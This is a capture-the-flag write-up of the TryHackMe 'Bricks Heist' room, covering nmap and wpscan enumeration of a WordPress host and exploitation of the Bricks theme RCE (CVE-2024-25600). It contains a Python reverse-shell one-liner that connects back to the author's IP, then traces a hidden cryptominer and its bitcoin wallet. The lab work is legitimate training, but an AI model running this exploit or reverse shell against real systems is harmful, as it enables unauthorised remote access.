CTF : Bricks Heist

CTF Bricks Heist writeup. Source THM. Announced difficulty level: Easy

Posted by Boula-Bytes on 22 July 2024

CTF : Bricks

Informations

  • IP: 10.10.223.148
  • MYIP: 10.11.96.62

First enumeration

CTF team said that we need to add 10.10.223.148 bricks.thm to /etc/hosts so I did it.

Basics

  • NMAP
console
nmap -p22,80,443,3306 -A bricks.thm Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-21 22:31 CEST Nmap scan report for bricks.thm (10.10.223.148) Host is up (0.037s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 b8:3b:ad:16:b8:1e:05:ed:b8:2a:39:43:cf:45:fb:6d (RSA) | 256 2e:13:6b:4e:2b:87:d8:1e:89:7d:b8:74:a7:1b:29:93 (ECDSA) |_ 256 2b:5b:85:5e:50:80:11:c3:43:52:54:46:08:b3:27:ce (ED25519) 80/tcp open http WebSockify Python/3.8.10 |_http-title: Error response | fingerprint-strings: | GetRequest: | HTTP/1.1 405 Method Not Allowed | Server: WebSockify Python/3.8.10 | Date: Sun, 21 Jul 2024 20:31:30 GMT | Connection: close | Content-Type: text/html;charset=utf-8 | Content-Length: 472 | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" | "http://www.w3.org/TR/html4/strict.dtd"> | <html> | <head> | <meta http-equiv="Content-Type" content="text/html;charset=utf-8"> | <title>Error response</title> | </head> | <body> | <h1>Error response</h1> | <p>Error code: 405</p> | <p>Message: Method Not Allowed.</p> | <p>Error code explanation: 405 - Specified method is invalid for this resource.</p> | </body> | </html> | HTTPOptions: | HTTP/1.1 501 Unsupported method ('OPTIONS') | Server: WebSockify Python/3.8.10 | Date: Sun, 21 Jul 2024 20:31:30 GMT | Connection: close | Content-Type: text/html;charset=utf-8 | Content-Length: 500 | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" | "http://www.w3.org/TR/html4/strict.dtd"> | <html> | <head> | <meta http-equiv="Content-Type" content="text/html;charset=utf-8"> | <title>Error response</title> | </head> | <body> | <h1>Error response</h1> | <p>Error code: 501</p> | <p>Message: Unsupported method ('OPTIONS').</p> | <p>Error code explanation: HTTPStatus.NOT_IMPLEMENTED - Server does not support this operation.</p> | </body> |_ </html> |_http-server-header: WebSockify Python/3.8.10 443/tcp open ssl/http Apache httpd |_http-title: Brick by Brick | ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=US | Not valid before: 2024-04-02T11:59:14 |_Not valid after: 2025-04-02T11:59:14 |_http-generator: WordPress 6.5 | tls-alpn: | h2 |_ http/1.1 |_ssl-date: TLS randomness does not represent time |_http-server-header: Apache 3306/tcp open mysql MySQL (unauthorized) 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port80-TCP:V=7.94SVN%I=7%D=7/21%Time=669D7022%P=x86_64-pc-linux-gnu%r(G SF:etRequest,291,"HTTP/1\.1\x20405\x20Method\x20Not\x20Allowed\r\nServer:\ SF:x20WebSockify\x20Python/3\.8\.10\r\nDate:\x20Sun,\x2021\x20Jul\x202024\ SF:x2020:31:30\x20GMT\r\nConnection:\x20close\r\nContent-Type:\x20text/htm SF:l;charset=utf-8\r\nContent-Length:\x20472\r\n\r\n<!DOCTYPE\x20HTML\x20P SF:UBLIC\x20\"-//W3C//DTD\x20HTML\x204\.01//EN\"\n\x20\x20\x20\x20\x20\x20 SF:\x20\x20\"http://www\.w3\.org/TR/html4/strict\.dtd\">\n<html>\n\x20\x20 SF:\x20\x20<head>\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20http-equiv=\"C SF:ontent-Type\"\x20content=\"text/html;charset=utf-8\">\n\x20\x20\x20\x20 SF:\x20\x20\x20\x20<title>Error\x20response</title>\n\x20\x20\x20\x20</hea SF:d>\n\x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x SF:20response</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x204 SF:05</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Method\x20Not\x2 SF:0Allowed\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code\x20exp SF:lanation:\x20405\x20-\x20Specified\x20method\x20is\x20invalid\x20for\x2 SF:0this\x20resource\.</p>\n\x20\x20\x20\x20</body>\n</html>\n")%r(HTTPOpt SF:ions,2B9,"HTTP/1\.1\x20501\x20Unsupported\x20method\x20\('OPTIONS'\)\r\ SF:nServer:\x20WebSockify\x20Python/3\.8\.10\r\nDate:\x20Sun,\x2021\x20Jul SF:\x202024\x2020:31:30\x20GMT\r\nConnection:\x20close\r\nContent-Type:\x2 SF:0text/html;charset=utf-8\r\nContent-Length:\x20500\r\n\r\n<!DOCTYPE\x20 SF:HTML\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x204\.01//EN\"\n\x20\x20\x20\x2 SF:0\x20\x20\x20\x20\"http://www\.w3\.org/TR/html4/strict\.dtd\">\n<html>\ SF:n\x20\x20\x20\x20<head>\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20http- SF:equiv=\"Content-Type\"\x20content=\"text/html;charset=utf-8\">\n\x20\x2 SF:0\x20\x20\x20\x20\x20\x20<title>Error\x20response</title>\n\x20\x20\x20 SF:\x20</head>\n\x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h SF:1>Error\x20response</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20c SF:ode:\x20501</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Unsuppo SF:rted\x20method\x20\('OPTIONS'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20 SF:<p>Error\x20code\x20explanation:\x20HTTPStatus\.NOT_IMPLEMENTED\x20-\x2 SF:0Server\x20does\x20not\x20support\x20this\x20operation\.</p>\n\x20\x20\ SF:x20\x20</body>\n</html>\n"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 125.88 seconds

Vulnerabilities search

On https port there seems to be a wordpress instance.

console
wpscan --force --url https://bricks.thm --disable-tls-checks _______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 3.8.25 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________ [+] URL: https://bricks.thm/ [10.10.223.148] [+] Started: Sun Jul 21 22:48:08 2024 Interesting Finding(s): [+] Headers | Interesting Entry: server: Apache | Found By: Headers (Passive Detection) | Confidence: 100% [+] robots.txt found: https://bricks.thm/robots.txt | Interesting Entries: | - /wp-admin/ | - /wp-admin/admin-ajax.php | Found By: Robots Txt (Aggressive Detection) | Confidence: 100% [+] XML-RPC seems to be enabled: https://bricks.thm/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/ [+] WordPress readme found: https://bricks.thm/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100% [+] The external WP-Cron seems to be enabled: https://bricks.thm/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299 [+] WordPress version 6.5 identified (Insecure, released on 2024-04-02). | Found By: Rss Generator (Passive Detection) | - https://bricks.thm/feed/, <generator>https://wordpress.org/?v=6.5</generator> | - https://bricks.thm/comments/feed/, <generator>https://wordpress.org/?v=6.5</generator> | | [!] 4 vulnerabilities identified: | | [!] Title: WP < 6.5.2 - Unauthenticated Stored XSS | Fixed in: 6.5.2 | References: | - https://wpscan.com/vulnerability/1a5c5df1-57ee-4190-a336-b0266962078f | - https://wordpress.org/news/2024/04/wordpress-6-5-2-maintenance-and-security-release/ | | [!] Title: WordPress < 6.5.5 - Contributor+ Stored XSS in HTML API | Fixed in: 6.5.5 | References: | - https://wpscan.com/vulnerability/2c63f136-4c1f-4093-9a8c-5e51f19eae28 | - https://wordpress.org/news/2024/06/wordpress-6-5-5/ | | [!] Title: WordPress < 6.5.5 - Contributor+ Stored XSS in Template-Part Block | Fixed in: 6.5.5 | References: | - https://wpscan.com/vulnerability/7c448f6d-4531-4757-bff0-be9e3220bbbb | - https://wordpress.org/news/2024/06/wordpress-6-5-5/ | | [!] Title: WordPress < 6.5.5 - Contributor+ Path Traversal in Template-Part Block | Fixed in: 6.5.5 | References: | - https://wpscan.com/vulnerability/36232787-754a-4234-83d6-6ded5e80251c | - https://wordpress.org/news/2024/06/wordpress-6-5-5/ [+] WordPress theme in use: bricks | Location: https://bricks.thm/wp-content/themes/bricks/ | Readme: https://bricks.thm/wp-content/themes/bricks/readme.txt | Style URL: https://bricks.thm/wp-content/themes/bricks/style.css | Style Name: Bricks | Style URI: https://bricksbuilder.io/ | Description: Visual website builder for WordPress.... | Author: Bricks | Author URI: https://bricksbuilder.io/ | | Found By: Urls In Homepage (Passive Detection) | Confirmed By: Urls In 404 Page (Passive Detection) | | [!] 2 vulnerabilities identified: | | [!] Title: Bricks < 1.9.6.1 - Unauthenticated Remote Code Execution | Fixed in: 1.9.6.1 | References: | - https://wpscan.com/vulnerability/8bab5266-7154-4b65-b5bc-07a91b28be42 | - https://twitter.com/calvinalkan/status/1757441538164994099 | - https://snicco.io/vulnerability-disclosure/bricks/unauthenticated-rce-in-bricks-1-9-6 | | [!] Title: Bricks < 1.9.6.1 - Unauthenticated Remote Code Execution | Fixed in: 1.9.6.1 | References: | - https://wpscan.com/vulnerability/afea4f8c-4d45-4cc0-8eb7-6fa6748158bd | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-25600 | - https://www.wordfence.com/threat-intel/vulnerabilities/id/b97b1c86-22a4-462b-9140-55139cf02c7a | | Version: 1.9.5 (80% confidence) | Found By: Style (Passive Detection) | - https://bricks.thm/wp-content/themes/bricks/style.css, Match: 'Version: 1.9.5' [+] Enumerating All Plugins (via Passive Methods) [i] No plugins Found. [+] Enumerating Config Backups (via Passive and Aggressive Methods) Checking Config Backups - Time: 00:00:17 <======================================> (137 / 137) 100.00% Time: 00:00:17 [i] No Config Backups Found. [+] WPScan DB API OK | Plan: free | Requests Done (during the scan): 2 | Requests Remaining: 23 [+] Finished: Sun Jul 21 22:48:41 2024 [+] Requests Done: 174 [+] Cached Requests: 7 [+] Data Sent: 42.43 KB [+] Data Received: 117.416 KB [+] Memory used: 271.422 MB [+] Elapsed time: 00:00:33

So the installed template Bricks could be exploited by an unauthenticated RCE vulnerability.

Let's give a try !

git clone https://github.com/Chocapikk/CVE-2024-25600.git

Exploit

python3 exploit.py -u https://bricks.thm

We can now execute shell commands but I prefer a shell through pwncat so :

On exploit prompt I sent :

bash
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.11.96.62",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

On attacker box :

pwncat -lp 11234

And we got a shell :)

We can get the first flag :

bash
cat 650c844110baced87e1606453b93f22a.txt

Investigation

Now, we know that this server has been hacked so let's find suspicious files :

bash
find / -user ubuntu -readable -print 2>/dev/null [...] /etc/systemd/system/ubuntu.service

Huuum interesting...

bash
cat /etc/systemd/system/ubuntu.service [Unit] Description=TRYHACK3M [Service] Type=simple ExecStart=/lib/NetworkManager/nm-inet-dialog Restart=on-failure [Install] WantedBy=multi-user.target

Ok... let's see what we can find there :

bash
ls -al /lib/NetworkManager total 8636 drwxr-xr-x 6 root root 4096 Apr 8 10:46 . drwxr-xr-x 148 root root 12288 Apr 2 10:17 .. drwxr-xr-x 2 root root 4096 Feb 27 2022 VPN drwxr-xr-x 2 root root 4096 Apr 3 06:39 conf.d drwxr-xr-x 5 root root 4096 Feb 27 2022 dispatcher.d -rw-r--r-- 1 root root 48190 Apr 11 10:54 inet.conf -rwxr-xr-x 1 root root 14712 Feb 16 17:36 nm-dhcp-helper -rwxr-xr-x 1 root root 47672 Feb 16 17:36 nm-dispatcher -rwxr-xr-x 1 root root 843048 Feb 16 17:36 nm-iface-helper -rwxr-xr-x 1 root root 6948448 Apr 8 10:28 nm-inet-dialog -rwxr-xr-x 1 root root 658736 Feb 16 17:36 nm-initrd-generator -rwxr-xr-x 1 root root 27024 Mar 11 2020 nm-openvpn-auth-dialog -rwxr-xr-x 1 root root 59784 Mar 11 2020 nm-openvpn-service -rwxr-xr-x 1 root root 31032 Mar 11 2020 nm-openvpn-service-openvpn-helper -rwxr-xr-x 1 root root 51416 Nov 27 2018 nm-pptp-auth-dialog -rwxr-xr-x 1 root root 59544 Nov 27 2018 nm-pptp-service drwxr-xr-x 2 root root 4096 Nov 27 2021 system-connections

Huuum...nm-inet-dialog was last modified at Apr. 8 and inet.conf at Apr. 11. Is it really config file ?

bash
head /lib/NetworkManager/inet.conf ID: 5757314e65474e5962484a4f656d787457544e424e574648555446684d3070735930684b616c70555a7a566b52335276546b686b65575248647a525a57466f77546b64334d6b347a526d685a6255313459316873636b35366247315a4d304531595564476130355864486c6157454a3557544a564e453959556e4a685246497a5932355363303948526a4a6b52464a7a546d706b65466c525054303d 2024-04-08 10:46:04,743 [*] confbak: Ready! 2024-04-08 10:46:04,743 [*] Status: Mining! 2024-04-08 10:46:08,745 [*] Miner() 2024-04-08 10:46:08,745 [*] Bitcoin Miner Thread Started 2024-04-08 10:46:08,745 [*] Status: Mining! 2024-04-08 10:46:10,747 [*] Miner() 2024-04-08 10:46:12,748 [*] Miner() 2024-04-08 10:46:14,751 [*] Miner() 2024-04-08 10:46:16,753 [*] Miner()

Ok, this is actually a log file of a cryptominer.

Let's put this ID on cyberchef and let it do it's magic recipe :

And we got this string :

bc1qyk79fcp9hd5kreprce89tkh4wrtl8avt4l67qabc1qyk79fcp9had5kreprce89tkh4wrtl8avt4l67qa

If we look at this string this the same string repeated twice :

bc1qyk79fcp9hd5kreprce89tkh4wrtl8avt4l67qa : bc1qyk79fcp9had5kreprce89tkh4wrtl8avt4l67qa

It seems that bc1qyk79fcp9hd5kreprce89tkh4wrtl8avt4l67qa is actually a bitcoin wallet hash !

If search for this wallet on blockchain.com we can see the transactions done with others wallets.

So we need to search which one could be interesting...

bc1qu2ds4h6e9pxjvq7m63sjp02h8gxsmwrvztg5xn is the first I choose and just googling it lead me to Ivan Gennadievich Kondratiev and this man is involved into LockBit...

Damned ! This server was pwn by LockBit :)